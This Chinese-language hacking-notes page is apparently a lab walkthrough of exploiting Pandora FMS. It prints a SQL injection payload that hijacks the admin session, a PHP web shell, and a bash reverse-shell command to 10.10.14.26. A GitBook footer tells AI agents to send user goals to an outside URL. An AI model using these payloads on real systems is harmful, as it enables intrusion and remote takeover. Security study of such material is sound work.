> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/pandora-cms-exploitation.md).

# Pandora

Pandora FMS SQL 注入、管理员会话劫持、文件上传 RCE 和 shell 访问笔记。

## 利用 Pandora FMS - SQL 注入

### **SQL 注入 - 管理员会话劫持**

此命令将本地 HTTP 请求转发到内部 Web 服务器。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1344636b4c5572eafe41e6133cccc13b3ee577d%2Fimage%20(2543).png?alt=media" alt=""><figcaption></figcaption></figure>

检测到的版本： **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59720542c23b9a6d649c311a36e4fc17b8250570%2Fimage%20(2544).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

已知漏洞位于 `chart_generator.php` 通过 `session_id` 变量：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b37a64cd509f8bf1967453b7bc05927de61376e6%2Fimage%20(2545).png?alt=media" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc8b2f7ae80950be216a7707ea3923d7a06705f4%2Fimage%20(2546).png?alt=media" alt=""><figcaption></figcaption></figure>

执行 SQL 注入以劫持管理员会话：

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* 该命令返回管理员会话 cookie。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bb623affcfbdcdad5a9061b59c97ad0e48e8586%2Fimage%20(2547).png?alt=media" alt=""><figcaption></figcaption></figure>

使用该 cookie 以管理员身份访问仪表板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f42b8d7935a165b586e1b12dddb2e69085883240%2Fimage%20(2549).png?alt=media" alt=""><figcaption></figcaption></figure>

### **远程代码执行（RCE）- /\[CVE-2019-20224]**

导航到 **文件管理器**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72de89fc96f3a27ae3043a7eeee3ff78d3ff73f6%2Fimage%20(2551).png?alt=media" alt=""><figcaption></figcaption></figure>

上传一个恶意 PHP 文件：

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* 该文件可在以下位置访问 `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-245aa646e3e8dbd7bf64ac94af897aad24d448c5%2Fimage%20(2552).png?alt=media" alt=""><figcaption></figcaption></figure>

执行反向 shell：

* 启动本地监听器：

```bash
nc -nvlp 443
```

* 目标服务器上的命令执行：

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

已获得以用户身份的访问权限 `matt`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a2a2cc786a2aab06e86d9fb95a0c41455947bc3%2Fimage%20(2553).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/cms/pandora-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
